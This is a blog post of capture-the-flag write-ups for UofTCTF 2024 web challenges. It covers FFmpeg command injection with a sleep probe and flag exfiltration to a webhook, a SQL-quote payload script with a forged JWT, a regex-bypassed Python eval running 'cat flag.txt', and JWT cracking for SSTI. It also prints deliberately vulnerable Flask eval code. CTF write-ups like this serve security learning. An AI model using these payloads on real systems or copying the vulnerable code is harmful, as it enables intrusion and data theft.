UofTCTF 2024: OS Command Injection via FFmpeg & Web Cache Deception

315 words
2 minutes
UofTCTF 2024: OS Command Injection via FFmpeg & Web Cache Deception
Nameuoftctf
URLhttps://play.uoftctf.org/
CategoryWeb
Discordhttps://discord.com/invite/VAwyzVUt?utm_source=Discord%20Widget&utm_medium=Connect

1. Voice Changer - OS Injection#

This website uses FFmpeg to generate an OGG file. In this challenge, an OS injection vulnerability exists in the FFmpeg command.

OS Injection Image
OS Injection Image

Let’s attempt to induce a delay in the command using $(sleep 10).

Sleep Command Image
Sleep Command Image

The image reveals a 10-second delay resulting from the execution of the sleep command.

Exploiting the Vulnerability#

To exploit this vulnerability, our approach involves redirecting the flag to our webhook site:

Webhook Image 1
Webhook Image 1

Webhook Image 2
Webhook Image 2

2. The Varsity#

Solution:#

To address the issue, generate a valid (JWT) and proceed by sending a POST request to article number 9 with this json {“issue”:“9’“}

import requests
url = "https://uoftctf-the-varsity.chals.io:443/register"
json={"username": "achuxer"}
reg = requests.post(url, json=json)
valid_jwt = reg.headers["Set-Cookie"].split("=")[1].split(";")[0]
session = requests.session()
_url = "https://uoftctf-the-varsity.chals.io:443/article"
_cookies = {"token": valid_jwt}
_json={"issue": "9'"}
flag = session.post(_url, cookies=_cookies, json=_json)
print(flag.json()["content"])

No Code - Eval#

Source#

from flask import Flask, request, jsonify
import re
app = Flask(__name__)
@app.route('/execute', methods=['POST'])
def execute_code():
code = request.form.get('code', '')
if re.match(".*[\x20-\x7E]+.*", code):
return jsonify({"output": "jk lmao no code"}), 403
result = ""
try:
result = eval(code)
except Exception as e:
result = str(e)
return jsonify({"output": result}), 200
if __name__ == "__main__":
app.run(host="0.0.0.0", port=1337, debug=False)

Solution#

Sending \n in the start of your payload cz re.match() will only match at the beginning of the string and not at the beginning of each line.

#!/usr/bin/env python3
import requests
import string,sys
url = 'https://uoftctf-no-code.chals.io/execute'
payload = "\n__import__('os').popen('cat flag.txt').read()"
data = {
'code': payload
}
response = requests.post(url, data=data)
print(response.text)

Guestbook - Hidden Flag#

By reading the html source you can see POST action directed towards a Google Spreadsheet with the parameter “sheetID”

image
image

After googling around,with this id you can obtain spreadsheet docs.

https://docs.google.com/spreadsheets/d/1PGFh37vMWFrdOnIoItnxiGAkIqSxlJDiDyklp9OVtoQ/edit

Following this step, you can notice two hidden rows. Once I copied the doc, I had access to the flag

My First App - JWT / SSTI#

Solution : Initially, you must crack a JWT to reveal the jwt_key. Furthermore, there’s an SSTI in the username field from the JWT-cookie, but with certain blacklisted characters/words.

image
image

PY:#

image
image

Share Article

If this article helped you, please share it with others!

UofTCTF 2024: OS Command Injection via FFmpeg & Web Cache Deception
https://achux21.github.io/posts/uoftctf/
Author
ACHUX21
Published at
2024-01-14
License
CC BY-NC-SA 4.0
Profile Image of the Author
ACHUX21
CTF player & security researcher
Notice
CTF writeups and security research. New posts coming soon.
Music
Cover

Music

No playing

0:00 0:00
No lyrics available
Categories
Tags
Site Statistics
Posts
28
Categories
3
Tags
81
Total Words
26,137
Running Days
0 days
Last Activity
0 days ago

Table of Contents